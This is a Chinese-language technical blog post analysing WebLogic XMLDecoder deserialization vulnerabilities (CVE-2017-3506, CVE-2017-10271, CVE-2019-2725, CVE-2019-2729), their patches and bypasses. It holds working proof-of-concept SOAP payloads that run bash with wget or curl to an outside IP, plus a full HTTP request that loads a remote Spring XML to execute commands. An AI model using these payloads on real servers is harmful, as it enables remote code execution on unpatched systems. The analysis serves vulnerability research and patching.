weblogic系列的文章,这篇文章总结了一下XMLDecoder相关反序列化

Weblogic XMLDecoder 反序列化

首先看XMLDecoder的反序列化

package szf.xmldecoder;

import java.beans.XMLDecoder;
import java.io.ByteArrayInputStream;

public class Unser {

    public static void main(String[] args) {
        String payload = "<java version=\"1.4.0\" class=\"java.beans.XMLDecoder\">\n" +
                "    <void class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"3\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>cmd.exe</string>\n" +
                "            </void>\n" +
                "            <void index=\"1\">\n" +
                "                <string>/c</string>\n" +
                "            </void>\n" +
                "            <void index=\"2\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"/></void>\n" +
                "</java>";

        byte[] b = payload.getBytes();
        ByteArrayInputStream in = new ByteArrayInputStream(b);
        XMLDecoder d = new XMLDecoder(in);
        Object res = d.readObject();
        d.close();
    }
}

具体XML解析标签可以看这里, 我们再补充一个class元素节点, 可以实例化某个类。

<class><string>szf.xmldecoder.Unser</string><void><string>qwer</string><byte>33</byte><array class="byte" length="1"><byte>34</byte></array></void></class>

后面weblogic漏洞调试方法参考这里

CVE-2017-3506 && CVE-2017-10271

受影响版本 10.3.6.0、12.1.3.0、12.2.1.0、12.2.1.1、12.2.1.2

漏洞组件:wls-wsat.war

这两个都是XMLDecoder反序列化漏洞,看web.xml可以看到漏洞路径

<servlet-name>CoordinatorPortTypeServlethttp</servlet-name>
<url-pattern>/CoordinatorPortType</url-pattern>

<servlet-name>RegistrationPortTypeRPCServlethttp</servlet-name>
<url-pattern>/RegistrationPortTypeRPC</url-pattern>

<servlet-name>ParticipantPortTypeServlethttp</servlet-name>
<url-pattern>/ParticipantPortType</url-pattern>

<servlet-name>RegistrationRequesterPortTypeServlethttp</servlet-name>
<url-pattern>/RegistrationRequesterPortType</url-pattern>

<servlet-name>CoordinatorPortTypeServlethttp11</servlet-name>
<url-pattern>/CoordinatorPortType11</url-pattern>

<servlet-name>RegistrationPortTypeRPCServlethttp11</servlet-name>
<url-pattern>/RegistrationPortTypeRPC11</url-pattern>

<servlet-name>ParticipantPortTypeServlethttp11</servlet-name>
<url-pattern>/ParticipantPortType11</url-pattern>

CVE-2017-3506 POC

3506对XMLDecoder没有任何限制,所以可以使用上面的XMLDecoder反序列化漏洞利用方法。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
wget 192.168.223.130:9987
</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2017-3506补丁

可以看到就是限制了不能存在名为object的标签

 public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
     if(qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid context type: object");
     }
 }

CVE-2017-10271 POC

可以看到3506的补丁之限制了object元素标签,那么直接改成coid就能绕过。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
wget 192.168.223.130:9987
</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2017-10271 补丁

可以看到,不允许出现object、new、method这三种元素节点,限制了void元素只能使用index属性或者空属性,最后array的class属性只能为byte。限制了method就限制了我们执行任意函数的方法了。

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

贴一下调用栈

readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

CVE-2019-2725

受影响版本 10.3.6.0、12.1.3.0

漏洞组件

10.3.6.0:bea_wls9_async_response.war、wls-wsat.war

12.1.3.0:com.oracle.webservices.wls.wls-soap-stack-impl_12.1.3.jar

这个漏洞分为两块分析,第二点我后面再同意分析。

  1. 新爆出的存在反序列化的组件_async
  2. CVE-2017-10271的补丁被绕过

_async组件存在XMLDecoder反序列化漏洞

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

如果没打3506或者10721的补丁的话可以直接用类似的payload,但注意<wsa:Action>wsa:RelatesTo不要丢了。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
curl 192.168.223.130:9987
</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

CVE-2019-2725补丁

可以看到多限制了class元素标签,并限制了array的index长度。

public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
    if (qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("class")) {
        throw new IllegalStateException("Invalid element qName:class");
    } else if (qName.equalsIgnoreCase("new")) {
        throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
        throw new IllegalStateException("Invalid element qName:method");
    } else {
        if (qName.equalsIgnoreCase("void")) {
            for(int i = 0; i < attributes.getLength(); ++i) {
                if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                    throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                }
            }
        }

        if (qName.equalsIgnoreCase("array")) {
            String attClass = attributes.getValue("class");
            if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                throw new IllegalStateException("The value of class attribute is not valid for array element.");
            }

            String lengthString = attributes.getValue("length");
            if (lengthString != null) {
                try {
                    int length = Integer.valueOf(lengthString);
                    if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                        throw new IllegalStateException("Exceed array length limitation");
                    }

                    this.overallarraylength += length;
                    if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                        throw new IllegalStateException("Exceed over all array limitation.");
                    }
                } catch (NumberFormatException var8) {
                }
            }
        }

    }
}

CVE-2019-2729

可以使用<array method=”forName”> 代替<class>,其他都是一样的,不过根据这篇文章这篇只有在jdk1.6才能跑通。

CVE-2019-2729补丁

补丁中再增加了一个过滤函数validateFormat,

private void validateFormat(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

    try {
        SAXParser parser = factory.newSAXParser();
        parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                if (!WorkContextFormatInfo.allowedName.containsKey(qName)) {
                    throw new IllegalStateException("Invalid element qName:" + qName);
                } else {
                    Map<String, String> attributeMap = (Map)WorkContextFormatInfo.allowedName.get(qName);
                    if (attributeMap == null && attributes.getLength() > 0) {
                        throw new IllegalStateException("Invalid attribute for element qName:" + qName);
                    } else {
                        for(int i = 0; i < attributes.getLength(); ++i) {
                            String attrName = attributes.getQName(i);
                            if (!attributeMap.containsKey(attrName)) {
                                throw new IllegalStateException("Invalid attribute for element qName:" + qName + ", current attribute Name is:" + attrName);
                            }

                            String attrValue = (String)attributeMap.get(attrName);
                            if (!"any".equals(attrValue) && !attrValue.equals(attributes.getValue(i))) {
                                throw new IllegalStateException("The value of attribute is not valid:  element qName:" + qName + ", current attribute Name is:" + attrName + ", current attribute values is: " + attributes.getValue(i));
                            }
                        }

                    }
                }
            }
        });
    } catch (SAXException | IOException | ParserConfigurationException var5) {
        throw new IllegalStateException("Parser Exception", var5);
    }
}

其中WorkContextFormatInfo.allowedName内容为如下

allowedName.put("string", (Object)null);
allowedName.put("int", (Object)null);
allowedName.put("long", (Object)null);
Map<String, String> allowedAttr = new HashMap();
allowedAttr.put("class", "byte");
allowedAttr.put("length", "any");
allowedName.put("array", allowedAttr);
allowedAttr = new HashMap();
allowedAttr.put("index", "any");
allowedName.put("void", allowedAttr);
allowedName.put("byte", (Object)null);
allowedName.put("boolean", (Object)null);
allowedName.put("short", (Object)null);
allowedName.put("char", (Object)null);
allowedName.put("float", (Object)null);
allowedName.put("double", (Object)null);
allowedAttr = new HashMap();
allowedAttr.put("class", "java.beans.XMLDecoder");
allowedAttr.put("version", "any");
allowedName.put("java", allowedAttr);

直接白名单限制了含有的元素标签和能使用的属性。

绕过CVE-2017-10271 补丁

10271的补丁限制了执行任意的方法,也限制了array的class属性只能为byte。但是我们仍然可以利用class元素节点实例化类,但要求实例化类的参数必须为一些基础类型或者自己数组。

所以现在需要找构造函数就存在漏洞的类,并且构造函数的参数类型为我们能够使用的。

UnitOfWorkChangeSet 二次反序列化

oracle.toplink.internal.sessions.UnitOfWorkChangeSet的构造函数为

image-20210807160554095

可以看到参数为字节数组,然后直接readObject了,可以利用这个类实现二次反序列化,如果存在反序列化链的话就可以再次利用。

不过在weblogic12已经没有这个类了,所以只能打10.3.6。

目前已知二次可用链有7u21, JtaTransactionManager(见这篇文章), 已知weblogic10.3.6默认jdk1.6所以7u21很鸡肋,JtaTransactionManager在jdk1.8以下。

FileSystemXmlApplicationContext

这个就更通用一点,FileSystemXmlApplicationContext类的构造函数参数为字符串,内容为恶意xml的加载地址。其xml加载方法和CVE-2017-17485类似。

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Type: text/xml
Content-Length: 651

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void>
<string>http://127.0.0.1:8082/poc.xml</string>
</void></class>
</java>
 </work:WorkContext>
 </soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>


 poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

REF

https://www.anquanke.com/post/id/180725

https://xz.aliyun.com/t/8465#toc-1

http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/

https://hpdoger.cn/2021/01/18/title:%20Weblogic%20XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%89%8B%E8%AE%B0/#CVE-2019-2725

https://paper.seebug.org/909/

https://p0rz9.github.io/2019/05/22/Weblogic-CVE-2019-2725%E5%88%86%E6%9E%90%E9%80%9A%E6%9D%80poc/

https://www.cnblogs.com/afanti/p/10802022.html

https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/